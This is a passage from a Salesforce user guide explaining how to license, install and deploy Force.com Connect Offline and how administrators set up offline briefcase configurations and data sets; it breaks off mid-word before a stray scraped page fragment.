briefcase conflict with updates to a record in Salesforce, Connect Offline displays the conflict resolution tool, which allows users to easily resolve the conflict. To start using Connect Offline today, log into Salesforce and install the Connect Offline client application.

See Also:
Troubleshooting Connect Offline Installing Connect Offline What is Your Default Connect Offline Briefcase Contents? Logging in to Connect Offline Working with Connect Offline Tip sheet: Working with Force.com Connect Offline Release Notes: What's New with Force.com Connect Offline?

Installing Connect Offline

2495

Connect Offline

Installing Connect Offline

Available in: Enterprise, Unlimited, and Developer Editions Available for an additional cost in: Professional Edition

User Permissions Needed To view records in Connect Offline: To update records in Connect Offline: Read on the appropriate type of record such as accounts, contacts, or opportunities Create, Edit, or Delete on the appropriate type of record such as accounts, contacts, or opportunities

Allocating Connect Offline Licenses


For organizations using Unlimited, Enterprise, and Developer Editions, salesforce.com provides one Connect Offline license for each Salesforce license. Organizations using Professional Edition must purchase Connect Offline licenses separately. Users without a Connect Offline license can use for a 30-day trial period. To allocate a Connect Offline license to a user within your organization, edit the user's record and select the Offline User checkbox. Users must have this checkbox selected to use Force.com Connect Offline.

Verifying System Requirements


The system requirements for Connect Offline are: Internet Explorer 6, 7, 8, or 9 (Other browsers, including Firefox, Safari, and Chrome, are not supported) Windows 2000, Windows XP, Windows Vista, or Windows 7 (32-bit only; 64-bit is not supported) 256 MB of RAM (512 MB recommended) 20 MB disk space minimum (250 MB recommended depending on the size of the briefcase) P2 500Mhz processor or above

Installing an Individual Client


To download and install the Connect Offline client: 1. Click Your Name > Setup > Desktop Integration > Connect Offline. 2. Click Install Now. Note: You must have administrator privileges on the computer on which you install Connect Offline.

3. Click Yes when prompted to install and run the client. 4. Follow the prompts in the setup wizard to complete the installation. 5. Log in to Connect Offline to verify the installation.

Deploying Connect Offline System-Wide


If your organization uses Windows, network administrators can install Connect Offline on several machines at once. For mass deployments, click Your Name > Setup > Desktop Integration > Connect Offline and click the link to download the zipped MSI package.

2496

Connect Offline

Managing Connect Offline Briefcase Configurations

Tip: The login history lists the version of Connect Offline that each user is using. To view your users' login history, see Monitoring Login History.

Updating Connect Offline


Salesforce.com periodically releases Connect Offline updates and notifies users according to settings in their user profiles. See Desktop Client Access Overview on page 518.

See Also:
What is Your Default Connect Offline Briefcase Contents? Working with Connect Offline Troubleshooting Connect Offline Release Notes: What's New with Force.com Connect Offline?

BRIEFCASE CONFIGURATION
Managing Connect Offline Briefcase Configurations
Available in: Enterprise, Unlimited, and Developer Editions Available for an additional cost in: Professional Edition

User Permissions Needed To view Connect Offline briefcase configurations: To create, change, or delete Connect Offline briefcase configurations: View Setup and Configuration Manage Mobile Configurations

Connect Offline briefcase configurations are sets of parameters that determine the records available in the briefcases of both individual users as well as users with a specific profile. You can create multiple briefcase configurations and associate each with different users and profiles to simultaneously suit the needs of various types of offline users. For example, one configuration might include leads and opportunities for sales representatives, while another configuration includes accounts and related opportunities for account executives. Users without assigned briefcase configurations see the default briefcase contents and can manually configure settings for their own Connect Offline briefcase; however, salesforce.com recommends using briefcase configurations instead of allowing users to manually configure their own offline briefcases because briefcase configurations provide: Centralized configuration Synchronization with any custom object, as opposed to personal briefcase settings that only support custom objects related to accounts, contacts, opportunities, or leads

2497

Connect Offline

Creating Offline Briefcase Configurations

The ability to define data sets with greater flexibility and filtering capabilities

To manage briefcase configurations for your organization, click Your Name > Setup > Desktop Administration > Offline Briefcase Configurations. To create a briefcase configuration, click New Offline Briefcase Configuration. To define a data set for an offline briefcase configuration, click the name of the briefcase configuration, then click Edit in the Data Sets related list. To make changes to a briefcase configuration, click Edit. To delete a briefcase configuration, click Del. To view details about a briefcase configuration, click its name. To clone a briefcase configuration, select the briefcase configuration you want to clone and click Clone. To activate a briefcase configuration, click Edit next to the configuration you want to activate, select Active, and click Save. To deactivate a briefcase configuration, click Edit next to the configuration you want to activate, deselect Active, and click Save. Important: If you deactivate an active briefcase configuration, users assigned to that configuration cannot synchronize their briefcases.

See Also:
What is Your Default Connect Offline Briefcase Contents?

Creating Offline Briefcase Configurations


Available in: Enterprise, Unlimited, and Developer Editions Available for an additional cost in: Professional Edition

User Permissions Needed To create, change, or delete briefcase configurations: Manage Mobile Configurations

To create a Connect Offline briefcase configuration: 1. Click Your Name > Setup > Desktop Administration > Offline Briefcase Configurations to access the briefcase configurations list page. 2. Click New Offline Briefcase Configuration. 3. Enter a name for the briefcase configuration. 4. Select the Active checkbox if you want to activate the briefcase configuration immediately after you create it. The configuration does not work until you select this checkbox. 5. Enter a description for the briefcase configuration.

2498

Connect Offline

Defining Connect Offline Data Sets

6. Select users and profiles from the Available Members box and click the Add arrow to assign them to the briefcase configuration. If you do not immediately see the user or profile you want to add, enter the profile name in the search box and click Find. You can assign each user or profile to only one briefcase configuration. If there are users and profiles in the Assigned Members box you do not want to assign to the briefcase configuration, select them and click the Remove arrow. Caution: If you remove a user or profile from an active briefcase configuration, those users can no longer synchronize their briefcases to that configuration. The next time the users synchronize, Connect Offline synchronizes their briefcases with the default briefcase content. When you assign profiles to a briefcase configuration, the configuration applies to all Connect Offline users with that profile and overrides users' personal briefcase configurations. 7. Click Save. 8. Also, you must create the data sets for this offline briefcase configuration to determine the data that members of the configuration receive in their briefcase. Note that your offline briefcase configuration is not active until you select the Active checkbox. Also, you must create the data sets for this briefcase configuration to determine the records that users with this configuration can access in Connect Offline.

See Also:
Managing Connect Offline Briefcase Configurations What is Your Default Connect Offline Briefcase Contents?

Defining Connect Offline Data Sets


Available in: Enterprise, Unlimited, and Developer Editions Available for an additional cost in: Professional Edition

User Permissions Needed To view Connect Offline data sets: To create, change, or delete Connect Offline data sets: View Setup and Configuration Manage Mobile Configurations

Data sets are the parameters in briefcase configurations that determine which records appear in the briefcases of users assigned to the briefcase configuration. Each data set pertains to records of a single object and is classified by the name of that object. For example, the Accounts data set only includes account records. Filters and limits within each data set let you further restrict the records the data set includes. Data sets can have child data sets for records associated with a top-level (parent) data set. For example, if the first level of your hierarchy has an Accounts data set, you can add a Contacts child data set for all contact records related to the account records. A single briefcase configuration can have multiple data sets for the same object and at different levels. For example, you can have an Events parent data set and an Events child data set under Leads. See Sample Offline Data Sets on page 2502 to review sample offline data sets for common groups of Salesforce users.

2499

Connect Offline

Defining Connect Offline Data Sets

Aft

S-ar putea să vă placă și